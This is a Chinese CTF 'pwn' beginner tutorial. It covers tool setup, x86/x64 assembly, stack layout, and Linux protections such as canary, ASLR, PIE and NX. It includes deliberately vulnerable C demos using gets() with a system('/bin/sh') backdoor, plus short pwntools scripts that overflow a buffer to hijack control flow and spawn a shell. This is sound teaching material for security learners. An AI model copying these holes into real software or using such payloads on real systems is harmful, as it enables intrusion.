快速入门
千里之行,始于足下。
请读者自行根据需求自由跳转对应的章节。
点击各级标题旁边的「列表」图样按钮,即可开启目录快速跳转;目录窗口右上角「大头针」图样按钮可以使之成为独立浮动窗口。
搭建调试环境
- Ubuntu Linux(x86_64):最好准备两台虚拟机,分别装配较新系统版本以及
16.04
老系统版本(主要用于编译题目)。目前多数 pwn 题采用 Ubuntu 16.04 版本编译。Mac ARM 用户可以考虑使用 UTM 模拟x86_64
环境。 - IDA Pro:静态反汇编
- GDB with pwndbg:动态调试
- Python 3.x 环境
pwntools
:Python 常用库- ROPgadget(
ropper
也可以):检索gadget
- LibcSearcher:查询
libc
版本并计算偏移,多用于 ret2libc 题目类型 - glibc_all_in_one:快速下载不同版本的 glibc 库并 patch 到题目上
Ubuntu Linux 环境配置
本章节会一并配置好包含 GDB、pwndbg、Python、checksec 等 pwn 工具的 Linux 环境。
在这里选择对应版本的镜像下载安装到虚拟机中。
Ubuntu 22.04 及更高版本参见 @uf4te 的文章。
Ubuntu 16.04 版本参见 @uf4te 的文章。
Mac ARM 用户通过 UTM 模拟配置 x86_64
环境参见 @簌澪SuMio 的文章。
安装 LibcSearcher 请按照如下方法:
git clone https://github.com/lieanu/LibcSearcher.git cd LibcSearcher python setup.py develop
安装那一步必须加上 develop 选项,否则会出现 Python 环境变量配置问题。
对于 Mac ARM 用户,使用 UTM 虚拟机搭建共享文件夹是必要的,在 UTM 虚拟机管理页面唤出对应虚拟机的右键菜单(确保虚拟机已经关闭!),选择编辑(Edit),并进行如下操作:
其中 Browse... 按钮点击后选择想要共享的文件夹。
在 Linux 中挂载对应的共享文件夹:
mkdir /mnt/code # 文件夹名对应着共享文件夹名
sudo mount -t 9p -o trans=virtio share /mnt/code/ -oversion=9p2000.L
那么,/mnt/code
即我们共享的文件夹。
注意,mount
命令会在虚拟机关机后失效,需要通过 rc-local.service
来开机自启动脚本,避免重复输入命令。
首先,创建 rc-local.service
文件:
sudo cp /lib/systemd/system/rc-local.service /etc/systemd/system
然后修改该文件,在最后一行追加如下两行:
[Install]
WantedBy=multi-user.target
Alias=rc-local.service
最后,创建 rc.local
文件,写入挂载命令,再赋予可执行权限即可。
#!/bin/sh
sudo mount -t 9p -o trans=virtio share /mnt/code/ -oversion=9p2000.L
exit 0
sudo chmod +x /etc/rc.local
GDB 分屏调试
在动态调试过程中,pwndbg 生成的调试信息较多,若只是在单一终端显示则查看过于繁琐。我们可以考虑将输出信息分屏输出到另一个终端上,使得调试起来更加简洁直观。
Linux 通过终端设备文件名来标识每一个终端窗口。第一个打开的窗口为 /dev/pts/0
,以此类推。通过 tty
命令可查看当前终端窗口的标识号。
对于 GDB,我们通过如下命令设置输出信息所对应的窗口标识:
set context-output /dev/pts/1
显然,这里我们将第二个打开的窗口设置为调试输出信息的显示窗口。
要使每次打开 GDB 都能在第二个打开的终端窗口上输出调试信息,可以修改 ~/.gdbinit
文件,这里保存着 GDB 启动时自动执行的命令,直接追加上述指令即可。
更多 GDB 基础与使用技巧,详见 @uf4te 的文章。
x86/x64 汇编基础
GCC 从源文件到可执行文件主要包含四个阶段:
- 预处理(preprocess):处理源代码中以
#
开始的预处理指令,将其转换后直接插入程序文本中,通常以.i
作为文件扩展名。 - 编译(compile):对预处理文件进行语义分析和优化,生成汇编代码。
- 汇编(assemble):根据汇编指令与机器指令的对照表进行翻译,通常以
.o
作为文件扩展名;此时对象文件中符号的虚拟地址无法确定。 - 链接(link):可分为静态链接和动态链接两种,此时无法确定的符号地址已经被修正为实际的符号地址,程序也就可以被加载到内存中正常执行了。
其中,汇编语言作为 C 语言代码到可被计算机执行的机器码的媒介,是我们重点研究的对象。
指令集架构(Instruction Set Architecture, ISA)简称指令集,包含了一系列的操作码(opcode),以及由特定 CPU 执行的基本命令。根据指令集的特征,通常可分为 CISC 和 RISC 两大阵营。
汇编语言(Assembly language)只是机器码的一个助记符,两者是几乎等价的,每条汇编指令都有对应的操作码。换言之,汇编语言利用类似人类语言的方式对指令集进行描述。
语法风格
x86 汇编语言主要的语法风格有两种:
- Intel 风格
- AT&T 风格
我们一般使用 Intel 风格。在 GDB 中,默认风格可能是 AT&T 风格,我们可以通过以下指令设置代码风格为 Intel:
set disassembly-flavor intel
寄存器基本结构
对于 amd64
,一个寄存器可以存储 64 位(bit) 即 8 字节数据;i386
则可以存储 32 位即 4 字节数据。amd64
架构向下兼容 i386
架构,操作数默认大小仍然为 32 位,当给每条汇编指令增加 REX(寄存器扩展)的前缀后,操作数变为 64 位。
由于二进制数不便于显示和阅读,内存中的数据采用十六进制数表示。1 字节在内存中占 8 位,每个二进制数表示 1 位,而 1 个十六进制数可用 4 个二进制数表示,因此 1 字节由 2 个十六进制数组成。
部分寄存器的功能:
- RIP:存放下一条执行指令的地址
- RSP:存放当前栈帧的栈顶地址
- RBP:存放当前栈帧的栈底地址
- RAX:通用寄存器。存放函数返回值
数据的传送与访问
MOV 指令是最基本的数据传送指令,是图灵完备的,即在一个程序中可以只使用 MOV 指令完成所有的程序功能。MOV 指令常用于寄存器赋值,第一个参数为目标操作数,第二个参数为源操作数。
mov eax, 1234h ; EAX = 1234H
mov eax, ebx ; EAX = EBX
mov eax, [esi] ; [] 表示取地址内的值
ADD 指令将长度相同的操作数进行相加操作,并赋值到目标操作数中。
SUB 指令将从目标操作数中减去源操作数。
LEA(load effective address)指令用于加载有效地址(由一串寄存器或内存地址组成的表达式)到目标寄存器中,而不会去访问该地址处的内存内容。然而在绝大多数情况下,LEA 指令不再作载入地址的用途,而是用于计算赋值,例如 lea rax, [rbp - 0x18]
相当于 rax = rbp - 0x18
,也等价于:
sub rbp, 0x18
mov rax, rbp
add rbp, 0x18
即使 LEA 指令如今已经基本失去最初设定的意义,它仍然以 opcode 相对短、内存占用小继续沿用。需要注意的是,只有源操作数被 []
包裹的时候,LEA 指令才具有计算赋值的含义,否则依然是原本的含义。
编译器优化通常会倾向于采用更短的指令完成相应的操作。同样地,XOR 指令进行异或运算,其中 xor eax, eax
等价于 eax = 0
(有些情况也会采用 mov eax, 0x0
,这是因为 XOR 会影响标志寄存器,而 MOV 不会);test eax, eax
等价于
and eax, eax
; 一系列重置 eax 的指令
AND 指令类似于位与 &
运算符:eax & eax
当 eax == 0
时为 0,eax != 0
为非 0.
跳转指令与循环指令
跳转指令分为无条件跳转和条件跳转两种最基本的类型。
JMP 指令是无条件跳转指令,需要使用一个标号标识。一般情况下,该标号必须和 JMP 指令位于同一函数中,但使用全局标号则不受限制。特别地,JMP 指令可以构造一个死循环。
mov ebx, 0
label1:
mov eax, 0
jmp label1
LOOP 指令也可创建一个循环代码块,ECX 寄存器作为循环的计数器,每经过一次循环,ECX 的值自减 1,直到 ECX 的值为 0.
mov ax, 0
mov ecx, 3
L1:
inc ax
loop L1
xor eax, ebx
条件跳转指令(即 JCC
系列)通常和 CMP 指令结合使用。CMP 指令用于比较两个操作数的大小关系,执行的是一次减法操作,但并不保存减法的结果,只是根据减法的结果影响标志寄存器中的状态标志位。JCC
系列指令则通过 CMP 指令标记的状态标志位来确定是否进行跳转。JCC
系列指令繁多,一般现查现用,下面举两个常见的例子:
-
JNE(jmp not equal):两个操作数不相等则跳转,即 CMP 指令结果不为 0.
cmp al, 0x61 jne 0x5555555552e2
-
JE(jmp equal):两个操作数相等则跳转,即 CMP 指令结果为 0.
cmp al, 0x61 je 0x5555555552e2
栈与函数调用
本节内容将会在下一篇文章详解,仅作为初步的了解。
栈是一个先入后出的数据结构,从高地址向低地址增长,因而 SUB 指令的减法运算对应着栈的增长。在操作系统中,一般用作保存函数的状态和函数中的局部变量。
操作栈的常用指令是 PUSH 和 POP,即入栈和出栈。PUSH 指令会对 ESP/RSP/SP 寄存器的值进行减法运算,并使其减去 4(32位)或 8(64位),将操作数写入上述寄存器中指针指向的内存中。需要注意的是,若从高地址到低地址、由上到下依次排列,栈的结构呈倒扣状,操作数从最下方即栈顶被压入。
POP 指令是 PUSH 指令的逆操作,先从 ESP/RSP/SP 寄存器(即栈指针)指向的内存中读取数据写入其他内存地址或寄存器,再依据系统架构的不同将栈指针的数值增加 4(32位)或增加 8(64位)。
使用栈保存函数返回地址
当一个函数被调用时,会开辟一个独立的存放函数状态和所使用的变量的栈空间,即栈帧。一个运行中的函数,其栈帧区域被栈基址寄存器( bp
)和栈顶寄存器( sp
)所限定。
调用某个子函数时,需要先将该函数的实参按一定的规范压入栈中,再执行 CALL 指令,下一条指令的地址作为返回地址被保存到栈中,被调用函数结束时,程序将执行 RET 指令跳转到这个返回地址,将控制权交还给调用函数。因此无论调用了多少层子函数,由于栈后入先出的特性,程序控制权最终会回到 main
函数。
所有的 x86 汇编程序中都包含标识符为 main
的函数,这是程序的入口点,main
函数不需要使用 RET指令,但其他的被调用函数结束时都需要通过 RET 指令将控制权交还调用函数。
当一个函数结束调用时,为避免因开辟新的栈空间后未正确恢复而造成栈空间上溢或下溢,需要清除它使用的栈空间,关闭栈帧。这一过程称为栈平衡。
使用栈传递函数参数、局部变量
在 x86/x64
平台程序中,有三种较为常见的参数传递调用约定:
_cdecl
:C/C++ 默认调用方式,调用方平衡栈,不定参数的函数可以使用。_stdcall
:被调方平衡栈,不定参数的函数无法使用。_fastcall
:寄存器方式传参,被调方平衡栈,不定参数的函数无法使用。
_cdecl
是最常见的函数传参调用约定,参数采用自右向左的方式入栈(对于 64 位程序,前 6 个参数会先以寄存器传入,剩余的参数才以栈传入),这是为了可以动态地变化参数个数。倘若我们自左向右地依次传参,最左边的参数将会率先被压入栈底,传参完毕后,由于参数的具体个数未知,我们无法通过栈指针的相对位移来定位相应的参数。
对于局部变量,分两种情况讨论:
- 有栈溢出保护机制:先按照类型申请(
char
先申请,int
后申请),然后栈空间的申请顺序与定义变量的先后相反,即后定义先入栈。 - 无栈溢出保护机制( -fno-stack-protector ):先申请哪个变量,哪个先入栈。
我们来看一个简单的例子:
#include <stdio.h>
#include <stdlib.h>
char sh[] = "/bin/sh";
int func(char *cmd) {
system(cmd);
return 0;
}
int main() {
char a[8] = {};
char b[8] = {};
puts("input:");
gets(a);
printf("%s\n", a);
if (b[0] == 'a') func(sh);
return 0;
}
上述 C 源码分别编译为无 -fno-stack-protector 取消栈溢出保护机制选项和有该选项的:
gcc demo.c -std=c99 -o demo
gcc demo.c -fno-stack-protector -std=c99 -o demo
我们先看开启栈溢出保护机制的。利用 GDB 进行动态调试(pwndbg 基础参见这里),输入 start
指令使之在程序入口处下断点并运行,ni
单步步进,逐个执行单条汇编指令,Enter 可以再次执行上一条 GDB 命令,直到执行到如图所示。
分析源码可以得知,用户输入函数 gets()
传入参数 a
,结合反汇编代码可知,[rbp - 0x18]
即 a
对应的相对地址;相应地,[rbp - 0x10]
即 b
对应的相对地址。距离栈底( rbp
指针指向的)更远的地址后入栈,则 b
先入栈,a
再入栈,满足后定义先入栈原则。
继续单步执行程序(箭头指向、标记为绿色的指令即 RIP 寄存器的值,即下一次要执行的指令;执行 call gets@plt
后需要自行输入任意数据),如图,出现条件分支。
-
MOVZX 指令可以近似看作 MOV,框中第一行指令表示将字符串
b
的第一个字节即b[0]
放入 EAX 寄存器中。BYTE = 8 bits
WORD = 16 bits
DWORD = 32 bits
QWORD = 64 bits
-
第二、三行则比较 EAX 的 AL 寄存器部分(在寄存器基本结构讲过,EAX 的 0~7 位即 1 字节,
b[0]
)与字符a
的 ASCII 码0x61
,只要不相等则跳转到main
函数结尾处,不调用条件判断内的func()
。 -
解大多数 pwn 题的关键在于控制程序执行
system("/bin/sh")
函数,调用 shell,最后cat flag
以获得题目 flag。x/20bx $rbp - 0x10
以字节分块查看字符串b
的十六进制形式,如果将字符串b
的第一个字节篡改为0x61
,我们就可以执行system
函数,完成攻击。
执行 GDB 指令 stack 10
来查看前 10 行的栈,上方为 sp
栈顶指针,下方为 bp
栈底指针。栈空间是一段连续的内存地址,而 a
、b
紧邻且 a
处于相对 b
低的地址,则可以向 a
输入足够多的垃圾数据,gets()
函数不限制输入数据大小,向高地址溢出,从而覆盖 b[0]
篡改为字符 a
,构成 b[0] == 'a'
的情形。
当前主流计算机系统多数采用小端序的数据格式,即低地址存放数据低位,高地址存放数据高位,例如 0x12345678
会存储为 78 56 34 12
;逐个发送逆序的地址字节串,才能在栈上存储为正确的地址格式,从而保证寻址准确。
payload 大致如下图:
溢出字符串 a
需要 8 个字符,只要输入 8 个任意字符加上一个字符 a
即可。
接下来,我们来看关闭栈溢出保护机制的。同理,GDB 调试发现:
a
先入栈,b
后入栈- 在栈上,
a
地址高于b
,无论怎么写入a
都无法覆盖到b
,之前对于开启栈溢出保护机制的攻击方法就行不通了
程序的内存布局模型
一个 C 程序被载入到内存中,所构成的空间布局模型大致如下图,自上而下,从高地址到低地址:
对于各个内存区域:
text
段:存放程序执行代码bss
段:存放未初始化的全局变量data
段:存放已初始化的全局变量heap
段:堆,存放程序运行时动态分配的内存,向上增长stack
段:栈,存放程序临时创建的局部变量,以及函数体的栈帧,向下增长- 动态链接库:夹在
heap
段和stack
段中间,存放程序运行期间加载的外部符号链接
Linux 安全机制
向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域,即缓冲区溢出,主要分为如下三类:
- 栈溢出(stack overflow):最常见、漏洞比例最高、危害最大的二进制漏洞,也是 CTF 中漏洞利用的基础,我们之前举出的程序案例就属于这一类
- 堆溢出(heap overflow):堆管理器复杂,利用花样繁多,是 CTF 中常见题型
- Data 段溢出:攻击效果依赖于
data
段上存放了何种控制数据
针对缓冲区溢出,现代操作系统(Linux)采用了一些漏洞缓解措施。通过 checksec
这一工具,我们可以便捷地查看可执行文件的相关保护机制是否开启。
Stack Canary
专门针对栈溢出攻击设计的一种保护机制,默认开启,GCC 编译时加入 -fno-stack-protector 选项即可关闭。我们会在之后的文章具体讨论这一机制。
ASLR
Address Space Layout Randomization,地址空间布局随机化,简单来说就是程序数据在内存空间的地址具有一定的随机性,使得攻击者无法提前知道某些 shellcode 或其他数据的具体位置。在 Linux 上,ASLR 属于操作系统级别的机制,默认开启,其全局配置 /proc/sys/kernel/randomize_va_space
有三种情况:
ASLR | Executable | PLT | Heap | Stack | Shared Libraries |
---|---|---|---|---|---|
0 | \(\times\) | \(\times\) | \(\times\) | \(\times\) | \(\times\) |
1 | \(\times\) | \(\times\) | \(\times\) | \(\checkmark\) | \(\times\) |
2 | \(\times\) | \(\times\) | \(\checkmark\) | \(\checkmark\) | \(\checkmark\) |
2 + PIE | \(\checkmark\) | \(\checkmark\) | \(\checkmark\) | \(\checkmark\) | \(\checkmark\) |
我们通过一个例子来直观理解 ALSR 的各个保护模式:
// aslr.c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
int stack;
int *heap = malloc(sizeof(int));
void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
printf("executable: %p\n", &main);
printf("system@plt: %p\n", &system);
printf("heap: %p\n", heap);
printf("stack: %p\n", &stack);
printf("libc: %p\n", handle); // 载入动态链接库
free(heap);
return 0;
}
带有 PIE 的情况我们在下一节演示,这里我们先关闭。
gcc aslr.c -no-pie -fno-pie -ldl
在关闭 ASLR 的情况下,程序每次运行的地址都是相同的,所以我们就主要对比部分开启和完全开启的情况。可以看到,在部分开启时,只有栈和 libc 的地址有变化。
而在完全开启时,栈、堆和 libc 都有变化,但程序本身以及 PLT 不变。
PIE
ASLR 只是提供了程序运行内存空间的随机化加载,而二进制程序本身是不支持的,程序代码对应的地址是相对固定的,存在可被利用的安全风险。2003 年,人们引入了位置无关可执行文件(Position-Independent Executable, PIE),在应用层的编译器上实现,将程序编译为位置无关代码(Position-Independent Code, PIC),使程序可以被加载到任意位置。-no-pie 编译选项可以关闭这一机制。
通过添加参数 -pie -fpie 将上面的程序编译为 PIE 程序,可以看到打印出来的每一项都已经随机化。
在增加安全性的同时,PIE 也会在一定程度上影响性能,在大多数操作系统上仅用于一些对安全要求比较高的程序。
No-eXecute (NX)
表示不可执行,结合软件和硬件共同完成对程序内存按页的粒度的权限设置,可写权限与可执行权限互斥,所有可以被写入 shellcode 的内存均不可执行,所有可以被执行的代码数据均是不可修改的。
GCC 默认开启 NX 保护,-z execstack 编译选项可关闭。
Hello, World!
下面我们通过一个简单的例子熟悉 GDB 调试和 IDA 静态反汇编的应用:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bin/sh";
int init_func() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int func(char *cmd) {
system(cmd);
return 0;
}
int main() {
init_func();
volatile int (*fp)(char *);
fp = 0;
int a;
puts("input:");
gets(&a);
if(fp) fp(sh);
return 0;
}
我们需要关闭 PIE 保护,并且采用 C89 风格编译。
gcc hello.c -o hello_x64 -no-pie -std=c89
先使用 checksec
查看一下相关架构与保护措施:
拖入 IDA 查看反汇编代码。程序先将 fp
置 0,再验证 fp == 0
与否,是则跳转到主函数出口 return 0
,否则将 fp
赋值给 RAX 寄存器,传入 /bin/sh
字符串,直接 call rax
,跳转到 fp
所指向的地址。
按 Tab 键生成的伪代码如下:
进入 GDB 调试,发现溢出输入点。
不论从上述的 IDA 伪代码,还是从下面 GDB 调试输出显示(GDB 输出stack
窗口中,栈地址的左侧一列是相对偏移,根据反汇编结果可知,此时 fp
地址为 rbp - 0x10
,a
输入 4 个 0x61
后溢出)来看,输入点 a
只需 4 个字节(字符)即可溢出到 fp
。
pwndbg 的反汇编界面已经显示出条件判断后程序执行流, fp
被对整型a
的输入覆盖,指向的地址为 0x61616161
,是无效地址。
在 IDA 中,我们发现后门函数 func()
,恰好接受一个 /bin/sh
字符串执行 system()
函数。我们只需要将 fp
覆盖为这个后门函数的入口地址,即可直接 CALL func()
函数,执行 shell 调用。
Tab 返回到初始的反汇编界面,按下空格键切换为文本视图,获得 func()
地址:
或者,在 GDB 调试界面,输入 p &func
指令也可:
输入 p $rbp - 0x10
后获得 fp
的实际地址,在 fp
赋值给 RAX 的汇编语句 mov rax, qword ptr [rbp - 0x10]
之前使用 set
命令将 fp
地址存储的值改为 func()
函数地址:
set *<address>
是 GDB 常用的地址修改指令,(long long)
将需要修改的地址强制转换为长整型,确保完全覆盖之前的值,空余的位全部置 0.
继续 ni
,可以看到 RAX 存储的地址已经指向 func()
函数,CALL 指令调用 func()
后将执行 system
函数。
成功打通,只是由于 GDB 动态调试环境的原因,直接正常退出了。
然而,在远程做题环境,我们无法进行 GDB 调试,可以通过 Python 脚本自动发送 payload,覆盖 a
到 fp
的地址,再发送 func()
地址覆盖在其上即可。
from pwn import *
file = './hello'
io = process(file)
func_addr = 0x40121f
payload = b'a' * 4 + p64(func_addr)
io.sendline(payload)
io.interactive()
推荐安装
python-is-python3
工具,可以直接将python3
命令映射到python
上,apt install
即可。
其中,p64()
函数将数据按 64 位打包,按小端序的形式逆序发送。我们可以在脚本开头加入 context(log_level='debug')
来跟踪 p64()
打包发送的格式。
b'a'
即字节串 a
,用于表示二进制数据,可以包含任何字节值,包括 ASCII 字符和非 ASCII 字符。使用 Python 3 sendline()
最好发送字节串。
面对多个需要 p64()
或 p32()
打包的数据,我们可以在 context()
函数中传入 arch
参数,赋值为对应的系统框架的字符串( 'amd64'
或 'i386'
) ,使用 flat()
函数一键打包。
flat()
接受一个含有各个待封装数据的列表,根据 context()
中参数 arch
来确定封装类型。
下面是使用 flat()
的版本,对于需要发送多个地址的情况非常方便:
from pwn import *
context(arch='amd64', os='linux')
file = './hello'
io = process(file)
func_addr = 0x40121f
payload = flat([b'a' * 4, func_addr])
io.sendline(payload)
io.interactive()
一般我们也会传入 os
参数。